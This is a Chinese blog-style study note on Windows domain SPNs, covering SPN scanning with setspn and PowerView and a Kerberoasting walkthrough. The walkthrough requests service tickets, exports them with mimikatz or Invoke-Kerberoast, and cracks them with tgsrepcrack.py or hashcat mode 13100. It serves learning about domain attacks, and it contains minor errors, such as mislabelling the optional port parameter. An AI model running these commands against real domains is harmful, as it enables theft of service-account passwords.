0x00 前言
虽然之前的票据传递还有一些问题没有解决,但囿于目前对于内网渗透还没有形成一个整体的认知,所以对于那些问题就先放一放,先继续学习其他的相关知识。本文将学习SPN的基本概念,并学习利用SPN进行扫描,来实现在内网中以较小动静进行信息收集并为之后的Kerberoasting(注意这个单词和Kerberos的区别)作准备。
0x01 SPN
简介
SPN,全名为:Service Principal Names,即“服务主体名称”。它是域中服务的唯一标识,每个Kerberos服务都必须要有一个SPN,服务在加入域时,会自动注册一个SPN。 如果未进行 SPN 注册或注册失败(名称不唯一),则 Windows 安全层无法确定与 SPN 关联的帐户,因而无法使用 Kerberos 身份验证。
格式
SPN的格式为:<service class>/<host>:<port>/<service name>
,其中service class和host为必需参数。
- service class为服务类型名称,你可以使用除“/”之外的任何名称(因为SPN使用它作为分隔符),只需要保证它是唯一的名称,但是一般建议使用通用名称,如“www”,“ldap”等
- host为运行服务的主机名,可以使用DNS名(如:os.hacker.com)或NetBIOS名(如:os),但要注意的是因为NetBIOS名可能会在林中不唯一,会导致SPN注册失败。
- host为可选参数,同一服务在同一host上运行时,使用此来加以区别。服务仅使用默认端口时(如80),可以省略。
- service name为服务实例名称,不太重要,微软有个这样的例子:MyDBService/host1/CN=hrdb,OU=mktg,DC=example,DC=com
一个SPN命名实例:MySQLSvc/os.hacker.com:3306
或 MySQLSvc/hacker
等。
手动注册SPN
1.使用Windows内置的Setspn工具可以读取、修改和删除SPN目录属性。
setspn -A(-s) MSSQLSvc/myhost.redmond.microsoft.com:1433 redmond\accountname
注:这里有的微软文档使用的是-A参数,而setspn文档中又使用的是-s参数,并且无-A参数,但两者似乎都可以。另外参数似乎大小写不敏感。
最后面接的是对应的账户名,此处使用的是域下账户格式,其支持的用户与对应格式如下:
- username@domain 或 domain\username(适用于域用户帐户)
- machine$@domain 或 host\FQDN(适用于计算机域帐户,如 Local System 或 NETWORK SERVICES)。
SPN查询
借助setspn我们可以查询对应的SPN,并会返回对应的账户:
setspn -T os.hacker.com -Q */* | findstr "MSSQLSvc"
setspn -q */*
-T 指定了目标域,-Q指定对应服务,*/*表示所有服务。
扫描结果实际上是使用了ldap中的记录,当不存在ldap服务时,就会报错:
正确查询结果如下(因为还未搭建环境,所以借用Y4er师傅的图片):
其中CN=Users的为域用户账号,CN=Computers的为计算机域帐户(不可远程连接)。
0x02 SPN扫描
简介
SPN扫描,即利用SPN查询,来收集内网中所运行的服务。这种扫描相对于端口扫描来说,动静更小(对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测),且避免了端口扫描的盲目性。
其他工具
除了上文Windows内置的setspn.exe外,还可以使用如下的工具或脚本(未全部列出):
使用kerberoast项目中的GetUserSPNs.vbs(或ps版本),需要自己下载:kerberoast/GetUserSPNs.vbs
cscript.exe GetUserSPNs.vbs
PowerView, PowerSploit/PowerView.ps1
Import-Module .\PowerView.ps1Get-NetUser -SPN
0x03 Kerberoasting攻击
简介
Kerberoasting 攻击是 Tim Medin 在 DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin 同时发布了配套的攻击工具 kerberoast。此后,不少研究人员对 Kerberoasting 进行了改进和扩展,在 GitHub 上开发发布了大量工具,使得 Kerberoasting 逐渐发展成为域攻击的常用方法之一。
通俗来说,就是针对Kerberos认证中的哈希密码进行爆破,进而对DC进行攻击的一种方法。
原理
在Kerberos认证中,我们知道最后会返回一个使用Service的NTML-Hash加密的ST。而域中所有主机都能通过查询SPN获取到服务对应的账户,且任何已经认证的用户都可以请求ST。
所以这就给了我们一个通过SPN寻找账户并请求访问获得对应ST的机会,这有什么用呢?
ST是由Service HASH加密而成,所以我们可以对其进行爆破,这样就能获得其明文密码。(首先应该是要爆破出加密的密钥,然后又要爆破密钥出明文,关于其中的过程,以后我再来分析,密码学基础有点差……)
利用
1.寻找有价值的SPN服务。什么是有价值呢?可以远程连接,高权限,因为计算机域帐户不可以远程连接,所以我们目标一般都是域用户。
- 工具有很多种,直接谷歌搜索就能找到对应工具了,这里使用上文SPN扫描中的工具即可。
2.请求TGS
请求某个服务的TGS (powershell)
$SPNName = 'MSSQLSvc/DM.test.local' Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
3.导出票据,并爆破明文
方法一:
使用mimikatz导出
kerberos::list /export
使用kerberoast工具中的脚本爆破
./tgsrepcrack.py wordlist.txt test.kirbi
方法二:
使用Empire中的Invoke-Kerberoast.ps1(Empire/Invoke-Kerberoast.ps1),导出为hashcat格式
import-module .\Invoke-Kerberoast.ps1 Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
只要显示hash的话,使用:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
将hash保存为hash.txt,然后使用hashcat(一般kali中有)来破解
hashcat64 -m 13100 hash.txt pass.txt
(还有其他很多类似的工具,如 Rubeus)
0x0 参考
为 Kerberos 连接注册服务主体名称 - SQL Server | Microsoft Docs
Name Formats for Unique SPNs - Win32 apps | Microsoft Docs
Kerberos协议之Kerberoasting和SPN - Y4er的博客